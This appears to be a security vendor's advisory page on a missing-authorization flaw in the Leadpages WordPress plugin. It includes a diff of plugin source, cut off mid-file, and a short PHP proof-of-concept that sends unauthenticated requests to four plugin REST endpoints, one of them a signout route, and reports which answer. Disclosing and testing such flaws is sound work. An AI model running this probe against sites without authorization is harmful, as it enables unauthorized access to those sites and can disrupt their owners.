+            $start = $current_index + 1;
+            $end = count(self::$db_versions);
+
+            for ($i = $start; $i < $end; $i++) {
+                $version = self::$db_versions[ $i ];
+                $this->call_migration($version);
+                Options::set(Options::$db_version, $version);
+            }
+        }
+    }
+
+    /**
+     * Call the class method corresponding to the version of the database
+     *
+     * @param string $version example: 1.2.3
+     * @returns void
+     * @throws Exception
+     */
+    private function call_migration( $version ) {
+        $this->debug('DB migration for version ' . $version);
+        // Convert the version to a format that matches the method names
+        // Example: 1.2.3 -> v1_2_3
+        $method = 'v' . str_replace('.', '_', $version);
+
+        try {
+            // Check if the method exists and call it
+            if (method_exists($this, $method)) {
+                $this->$method();
+            }
+        } catch (Exception $e) {
+            $this->debug("Migration {$version} failed: " . $e->getMessage(), __METHOD__);
+            throw $e;
+        }
+    }
+
+    /**
+     * Database version 1.0.0. Create the page table.
+     *
+     * @returns void
+     */
+    private function v1_0_0() {
+        Page::create_table();
+    }
+}
--- a/leadpages/trunk/includes/models/ModelBase.php
+++ b/leadpages/trunk/includes/models/ModelBase.php
@@ -0,0 +1,28 @@
+<?php
+
+namespace Leadpagesmodels;
+
+defined('ABSPATH') || die('No script kiddies please!');
+
+use LeadpagesmodelsexceptionsDatabaseError;
+
+/**
+ * Base class for all Leadpages models. This class provides useful methods to
+ * access the database and get the table name for the model.
+ */
+class ModelBase {
+
+    /**
+     * Throw an exception if there is a database error with the last query
+     *
+     * @return void
+     * @throws DatabaseError
+     */
+    public static function throw_on_db_error() {
+        global $wpdb;
+        $message = $wpdb->last_error;
+        if ('' !== $message) {
+            throw new DatabaseError(esc_html($message));
+        }
+    }
+}
--- a/leadpages/trunk/includes/models/Options.php
+++ b/leadpages/trunk/includes/models/Options.php
@@ -0,0 +1,72 @@
+<?php
+
+namespace Leadpagesmodels;
+
+defined('ABSPATH') || die('No script kidd');
+
+/*
+ * A class to centralize all of our use of the options API with wrapper methods to work with them.
+ */
+class Options {
+
+    // The last time we synced the pages from leadpages.com
+    public static $last_page_sync_date = LEADPAGES_OPT_PREFIX . '_last_page_sync_date';
+
+    // The current version of the database (corresponds to the version of the plugin an update was last required)
+    public static $db_version = LEADPAGES_OPT_PREFIX . '_db_version';
+
+    // The permalink structure set in WordPress
+    // We do not create this option but we do use it. It should be readonly.
+    public static $permalink_structure = 'permalink_structure';
+
+    // The code_verifier used in the OAuth 2.0 authorization code flow
+    public static $code_verifier = LEADPAGES_OPT_PREFIX . '_code_verifier';
+
+    // The refresh and access tokens for leadpages.com OAuth 2.0. The existence of these
+    // tokens is how we determine the users authenticated status.
+    public static $refresh_token = LEADPAGES_OPT_PREFIX . '_refresh_token';
+    public static $access_token = LEADPAGES_OPT_PREFIX . '_access_token';
+
+    /*
+     * Get and return an option with the given name
+     *
+     * @param string $name
+     * @return mixed
+     */
+    public static function get( $name ) {
+        return get_option($name);
+    }
+
+    /*
+     * Set (create or update) an option given the name and it's new value
+     *
+     * @param string $name
+     * @param mixed $value
+     * @return boolean
+     */
+    public static function set( $name, $value ) {
+        return update_option($name, $value);
+    }
+
+    /*
+     * Remove an option with the given name
+     *
+     * @param string $name
+     * @return boolean
+     */
+    public static function delete( $name ) {
+        return delete_option($name);
+    }
+
+    /*
+     * Remove all of the options this plugin uses.
+     *
+     * Used in uninstall.php to clear all plugin option data
+     */
+    public static function delete_all() {
+        self::delete(self::$last_page_sync_date);
+        self::delete(self::$db_version);
+        self::delete(self::$refresh_token);
+        self::delete(self::$access_token);
+    }
+}
--- a/leadpages/trunk/includes/models/Page.php
+++ b/leadpages/trunk/includes/models/Page.php
@@ -0,0 +1,306 @@
+<?php
+
+namespace Leadpagesmodels;
+
+defined('ABSPATH') || die('No script kiddies please!');
+
+use LeadpagesmodelsexceptionsDatabaseError;
+use LeadpagesmodelsModelBase;
+
+/**
+ * A class to interact with the landing page database table
+ */
+class Page extends ModelBase {
+    /* Database table name for storing landing page data */
+    // phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase
+    public const table_name = LEADPAGES_DB_PREFIX . '_landingpages';
+
+    /**
+     * Create a table name to store landing page data synced from Leadpages
+     *   - uuid             - unique identifier for the page in Leadpages
+     *   - name             - name of landing page in Leadpages
+     *   - published_url    - url of landing page if published with Leadpages, null otherwise
+     *   - redirect         - JSON data
+     *   - lp_slug          - slug of landing page as published with Leadpages
+     *   - last_published   - last time the landing page was published with Leadpages, null if never published
+     *   - current_edition  - indicates whether a page is published in Leadpages, null if not currently published
+     *   - split_test       - indicates that the page is a split test variation. JSON data  - see Scribe
+     *                        for the property schema. This will be null on LeadpageSplitTestV2 pages.
+     *   - variations       - indicates which page variations are in a split test. JSON data. This will be null
+     *                        on LeadpageV3 pages.
+     *   - kind             - Leadpages kind of page (either LeadpageV3 | LeadpageSplitTestV2)
+     *   - conversions      - analytic data for the page
+     *   - conversion_rate  - analytic data for the page
+     *   - lead_value       - analytic data for the page
+     *   - views            - analytic data for the page
+     *   - visitors         - analytic data for the page
+     *   - updated_at       - date the page was last updated on the Leadpages platform
+     *   - deleted_at       - date the page was deleted from Leadpages
+     *   - connected        - whether or not the landing page is being served through WordPress
+     *   - wp_page_type     - identifies how the page should be served in WordPress (not currently in use)
+     *   - wp_slug          - slug the page is connected under in WordPress
+     *
+     * @return void
+     * @throws Exception
+     */
+    public static function create_table() {
+        global $wpdb;
+
+        $sql = "
+            CREATE TABLE $wpdb->prefix" . self::table_name . " (
+                id INT NOT null AUTO_INCREMENT,
+                uuid VARCHAR(100) UNIQUE NOT null,
+                name VARCHAR(255) NOT null,
+                published_url VARCHAR(255) null,
+                redirect LONGTEXT null,
+                lp_slug VARCHAR(255) NOT null,
+                last_published DATETIME null,
+                current_edition VARCHAR(25) null,
+                split_test LONGTEXT null,
+                variations LONGTEXT null,
+                kind VARCHAR(50) NOT null,
+                conversion_rate FLOAT null,
+                lead_value FLOAT null,
+                conversions INT null,
+                views INT null,
+                visitors INT null,
+                updated_at DATETIME null,
+                deleted_at DATETIME null,
+                connected BOOLEAN DEFAULT FALSE not null,
+                wp_page_type VARCHAR(10) UNIQUE null,
+                wp_slug VARCHAR(100) UNIQUE null,
+                PRIMARY KEY  (id),
+                INDEX uuid_idx (uuid),
+                INDEX wp_slug_idx (wp_slug)
+            ) {$wpdb->get_charset_collate()};
+        ";
+
+        // must require this file to use dbDelta
+        require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+        dbDelta($sql);
+
+        // there does not seem to be a way to catch errors during table creation with dbDelta
+        // so we'll check if the table exists and throw an exception if it doesn't
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+        $exists = $wpdb->get_var($wpdb->prepare('SHOW TABLES LIKE %s', $wpdb->prefix . self::table_name));
+        if (! $exists) {
+            throw new Exception('Could not create table: ' . esc_html(self::table_name));
+        }
+    }
+
+    /**
+     * Prepare raw landing page data from a foundry request for the database
+     *
+     * @param object $data should be raw landing page data from foundry
+     * @return array
+     */
+    private static function prepare_foundry_data( $data ) {
+        $content = $data->content;
+        $meta = $data->_meta;
+
+        return [
+            // phpcs:disable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
+            'uuid'            => $meta->id,
+            'name'            => $content->name,
+            'published_url'   => $content->publishedUrl,
+            'redirect'        => isset($content->redirect) ? wp_json_encode($content->redirect) : null,
+            'lp_slug'         => $content->slug,
+            'last_published'  => $content->lastPublished,
+            'current_edition' => $content->currentEdition,
+            'split_test'      => isset($content->splitTest) ? wp_json_encode($content->splitTest) : null,
+            'variations'      => isset($content->variations) ? wp_json_encode($content->variations) : null,
+            'kind'            => $data->kind,
+            'conversion_rate' => $content->conversionRate,
+            'lead_value'      => isset($content->leadValue) ? $content->leadValue : null,
+            'conversions'     => $content->conversions,
+            'views'           => $content->views,
+            'visitors'        => $content->visitors,
+            'updated_at'      => $meta->updated,
+            'deleted_at'      => $meta->deleted,
+            // phpcs:enable
+        ];
+    }
+
+    /**
+     * Create a new entry in the database for a raw landing page from a foundry request
+     *
+     * @param object $data should be raw landing page data from foundry
+     * @return int the number of rows inserted
+     * @throws DatabaseError
+     */
+    public static function create( $data ) {
+        global $wpdb;
+
+        $data = self::prepare_foundry_data($data);
+
+        $wpdb->insert(
+            $wpdb->prefix . self::table_name,
+            $data
+        );
+
+        self::throw_on_db_error();
+        return $wpdb->insert_id;
+    }
+
+    /**
+     * Update a page by it's "id" in WordPress or the "uuid" of the page in Leadpages
+     *
+     * If the data passed in as the second argument is an object it will be assumed that it's
+     * raw landing page data from a foundry request and will be prepared for database entry. Otherwise
+     * the values will be treated as an array of values to update.
+     *
+     * @param string|int $identifier can be int (id) or string (uuid)
+     * @param array|object $data can be an array of values to update or raw landing page data from foundry
+     * @return false|int number of rows updated or false when no rows were updated
+     * @throws DatabaseError
+     */
+    public static function update( $identifier, $data ) {
+        global $wpdb;
+
+        // If data is an object it must be a raw landing page data from foundry request
+        if (is_object($data)) {
+            $data = self::prepare_foundry_data($data);
+        }
+
+        // Determine the identifier type (ID or UUID)
+        $identifier_type = is_int($identifier) ? 'id' : 'uuid';
+
+        $result = $wpdb->update(
+            $wpdb->prefix . self::table_name,
+            $data,
+            [ $identifier_type => $identifier ]
+        );
+
+        self::throw_on_db_error();
+        return $result;
+    }
+
+    /**
+     * Get a page by it's "id" in WordPress or the "uuid" of the page in Leadpages
+     *
+     * @param mixed $identifier can be int (id) or string (uuid)
+     * @return object landing page data
+     * @throws DatabaseError
+     */
+    public static function get( $identifier ) {
+        global $wpdb;
+
+        // Determine the identifier type (ID or UUID)
+        // Identifier type is now a controlled value. It can be 'id' or 'uuid'
+        $identifier_type = is_int($identifier) ? 'id' : 'uuid';
+
+        $result = $wpdb->get_row(
+            $wpdb->prepare(
+                // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared
+                'SELECT * FROM ' . $wpdb->prefix . self::table_name . " WHERE $identifier_type = %s",
+                $identifier
+            )
+        );
+
+        self::throw_on_db_error();
+        return $result;
+    }
+
+    /**
+     * Retrieve a landing page by the slug it's connected to WordPress under
+     *
+     * @param string $slug
+     * return object|null the landing page data or null if not found
+     */
+    public static function get_by_slug( $slug ) {
+        global $wpdb;
+        $slug = sanitize_title($slug);
+
+        $result = $wpdb ->get_row(
+            $wpdb->prepare(
+                // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+                'SELECT * FROM ' . $wpdb->prefix . self::table_name . ' WHERE connected = 1 AND wp_slug = %s',
+                $slug
+            )
+        );
+
+        return $result;
+    }
+
+
+    /**
+     * Get all pages with support for pagination and filtering
+     *
+     * @param int $page
+     * @param int $per_page
+     * @param bool|null $connected
+     * @param string $order_by
+     * @param string $order
+     * @param string $search
+     * @return array results and total page count for the query returned in the form [ results, total_count ]
+     * @throws DatabaseError
+     */
+    public static function get_many( $page, $per_page, $connected, $order_by, $order, $search ) {
+        global $wpdb;
+
+        $allowed_orderby = [ 'ASC', 'DESC' ];
+        $order = strtoupper($order);
+        if (!in_array($order, $allowed_orderby, true)) {
+            throw new InvalidArgumentException(
+                'Order must be one of: ' . esc_html(implode(', ', $allowed_orderby))
+            );
+        }
+        $column = 'date' === $order_by ? 'updated_at' : 'name';
+        $start = ( $page - 1 ) * $per_page;
+
+        $page_sql = 'SELECT * FROM ' . $wpdb->prefix . self::table_name . ' WHERE current_edition IS NOT NULL AND deleted_at IS NULL AND split_test IS NULL';
+        $count_sql = 'SELECT COUNT(*) FROM ' . $wpdb->prefix . self::table_name . ' WHERE current_edition IS NOT NULL AND deleted_at IS NULL AND split_test IS NULL';
+
+        if (null !== $connected) {
+            $page_sql .= $wpdb->prepare(' AND connected = %d', $connected);
+            $count_sql .= $wpdb->prepare(' AND connected = %d', $connected);
+        }
+
+        if ('' !== $search) {
+            $like = $wpdb->esc_like($search);
+            $page_sql .= $wpdb->prepare(' AND name LIKE %s', "%$like%");
+        }
+
+        // column and order are controlled
+        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+        $page_sql .= $wpdb->prepare(" ORDER BY $column $order LIMIT %d, %d", $start, $per_page);
+
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+        $total_count = $wpdb->get_var($count_sql);
+        self::throw_on_db_error();
+
+        if (0 === $total_count) {
+            return [ [], $total_count ];
+        }
+
+        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+        $results = $wpdb->get_results($page_sql);
+        self::throw_on_db_error();
+
+        return [ $results, $total_count ];
+    }
+
+    /**
+     * Check if there are any WordPress posts or pages with the same name as the provided slug
+     *
+     * @param string $slug
+     * @return WP_Post[]
+     */
+    public static function is_post_name_collision( $slug ) {
+        global $wpdb;
+        $slug = sanitize_title($slug);
+
+        $results = $wpdb->get_results(
+            $wpdb->prepare(
+                // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
+                "SELECT p.ID, p.post_title, p.post_name FROM $wpdb->posts p WHERE
+                EXISTS ( SELECT 1 FROM " . $wpdb->prefix . self::table_name . " WHERE p.post_name = %s)
+                AND p.post_type IN ('post', 'page')",
+                // phpcs:enable
+                $slug
+            )
+            // phpcs:enable
+        );
+        return $results;
+    }
+}
--- a/leadpages/trunk/includes/models/exceptions/DatabaseError.php
+++ b/leadpages/trunk/includes/models/exceptions/DatabaseError.php
@@ -0,0 +1,27 @@
+<?php
+
+namespace Leadpagesmodelsexceptions;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+use LeadpagesprovidersUtils;
+
+/**
+ * This is the base exception class for database errors
+ */
+class DatabaseError extends Exception {
+
+    use Utils;
+
+    /**
+     * Log the debug message and construct the Exception class with a default message
+     *
+     * @param string $message
+     * @return void
+     */
+    public function __construct( $message ) {
+        $error = "Database operation failed: $message";
+        $this->debug($error);
+        parent::__construct($error);
+    }
+}
--- a/leadpages/trunk/includes/other/fallback-php-version.php
+++ b/leadpages/trunk/includes/other/fallback-php-version.php
@@ -0,0 +1,25 @@
+<?php
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+if (! function_exists('leadpages_skip_php_admin_notice')) {
+    /**
+     * Show an admin notice to administrators when the minimum PHP version
+     * could not be reached. The error message is only in english available.
+     */
+    function leadpages_skip_php_admin_notice() {
+        if (current_user_can('install_plugins')) {
+            $data = get_plugin_data(LEADPAGES_FILE, true, false);
+            echo '<div class='notice notice-error'>
+				<p><strong>' .
+                esc_html($data['Name']) .
+                '</strong> could not be initialized because you need minimum PHP version ' .
+                esc_html(LEADPAGES_MIN_PHP) .
+                ' ... you are running: ' .
+                esc_html(phpversion()) .
+                '.
+			</div>';
+        }
+    }
+}
+add_action('admin_notices', 'leadpages_skip_php_admin_notice');
--- a/leadpages/trunk/includes/other/fallback-wp-version.php
+++ b/leadpages/trunk/includes/other/fallback-wp-version.php
@@ -0,0 +1,29 @@
+<?php
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+if (! function_exists('leadpages_skip_wp_admin_notice')) {
+    /**
+     * Show an admin notice to administrators when the minimum WP version
+     * could not be reached. The error message is only in english available.
+     */
+    function leadpages_skip_wp_admin_notice() {
+        if (current_user_can('install_plugins')) {
+            $data = get_plugin_data(LEADPAGES_FILE, true, false);
+            global $wp_version;
+            echo '<div class='notice notice-error'>
+				<p><strong>' .
+                esc_html($data['Name']) .
+                '</strong> could not be initialized because you need minimum WordPress version ' .
+                esc_html(LEADPAGES_MIN_WP) .
+                ' ... you are running: ' .
+                esc_html($wp_version) .
+                '.
+				<a href="' .
+                esc_url(admin_url('update-core.php')) .
+                '">Update WordPress now.</a>
+			</div>';
+        }
+    }
+}
+add_action('admin_notices', 'leadpages_skip_wp_admin_notice');
--- a/leadpages/trunk/includes/other/login_complete_page.php
+++ b/leadpages/trunk/includes/other/login_complete_page.php
@@ -0,0 +1,65 @@
+<?php
+/**
+ * Login Complete Page Template
+ *
+ * This page has one job: to communicate from the popup window to the original window the final state
+ * of the OAuth2 login. This has to be done from a page hosted by WordPress so that the page origins are
+ * the same. Using the BroadcastChannel API, send the success status or the error message to the primary window
+ * and immediately close the popup.
+ *
+ * We are opting not to do this with React because it is faster to send a script tag with this logic
+ * than too enqueue a pre-built script with a dependency on React.
+ */
+?>
+
+<div id="fallback-root"></div>
+
+<script type="text/javascript">
+    var OAUTH_CHANNEL = 'oauth_channel';
+    var LP_ERROR_PARAM = 'lperror';
+    var ACCESS_DENIED = 'access_denied';
+    var INVALID_CODE = 'invalid_code';
+
+    /**
+     * When OAuth2 login fails, either because the user denied access or because of an
+     * issue with the authorization server, an error code will be present as a URL search
+     * parameter. Use this code to determine which error message to return.
+     */
+    function getErrorMessageFromParam() {
+        var urlParams = new URLSearchParams(window.location.search);
+        if (!urlParams.has(LP_ERROR_PARAM)) {
+            return '';
+        }
+
+        var errorCode = urlParams.get(LP_ERROR_PARAM);
+        if (errorCode === ACCESS_DENIED) {
+            return 'Access was denied.';
+        } else if (errorCode === INVALID_CODE) {
+            return 'We encountered an error while processing your request. Please try again.';
+        }
+        return 'An unknown error occurred.';
+    };
+
+    (function LoginCompleteView() {
+        var errorMessage = getErrorMessageFromParam();
+
+        if (window.BroadcastChannel) {
+            var oauthChannel = new BroadcastChannel(OAUTH_CHANNEL);
+
+            // post the result back to the opening window
+            if (!errorMessage) {
+                oauthChannel.postMessage({ success: true, error: '' });
+            } else {
+                oauthChannel.postMessage({ success: false, error: errorMessage});
+            }
+
+            oauthChannel.close();
+            window.close();
+        } else {
+            // fallback to showing a simple message to the user.
+            console.error('BroadcastChannel not supported by your browser.');
+            document.getElementById('fallback-root')
+                .innerHTML = errorMessage ? errorMessage : 'Login successful. You may close this window.';
+        }
+    })();
+</script>
--- a/leadpages/trunk/includes/providers/Utils.php
+++ b/leadpages/trunk/includes/providers/Utils.php
@@ -0,0 +1,53 @@
+<?php
+
+namespace Leadpagesproviders;
+
+use LeadpagesmodelsOptions;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+/**
+ * Helpful utility methods that can be used in all classes
+ */
+trait Utils {
+
+    /**
+     * Simple-to-use error_log debug log when debugging is enabled
+     *
+     * @param  mixed  $message          The message
+     * @param  string $method_or_function __METHOD__ or __FUNCTION__
+     * @return string
+     */
+    public function debug( $message, $method_or_function = null ) {
+        if (WP_DEBUG) {
+        

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68050 - Leadpages <= 1.1.3 - Missing Authorization

<?php

$target_url = 'http://example.com'; // Change to target WordPress site URL

// Define vulnerable endpoints
$endpoints = [
    '/wp-json/leadpages/v1/oauth2/authorize',
    '/wp-json/leadpages/v1/oauth2/status',
    '/wp-json/leadpages/v1/oauth2/signout',
    '/wp-json/leadpages/v1/pages'
];

foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
    
    // Execute request
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    // Parse response
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    // Close cURL session
    curl_close($ch);
    
    // Output results
    echo "Testing: $endpointn";
    echo "HTTP Code: $http_coden";
    
    // Check if endpoint is accessible (200 OK or similar)
    if ($http_code >= 200 && $http_code < 300) {
        echo "VULNERABLE - Unauthenticated access successfuln";
        echo "Response preview: " . substr($body, 0, 200) . "...n";
    } else {
        echo "NOT VULNERABLE - Access denied or endpoint not foundn";
    }
    
    echo str_repeat("-", 60) . "nn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School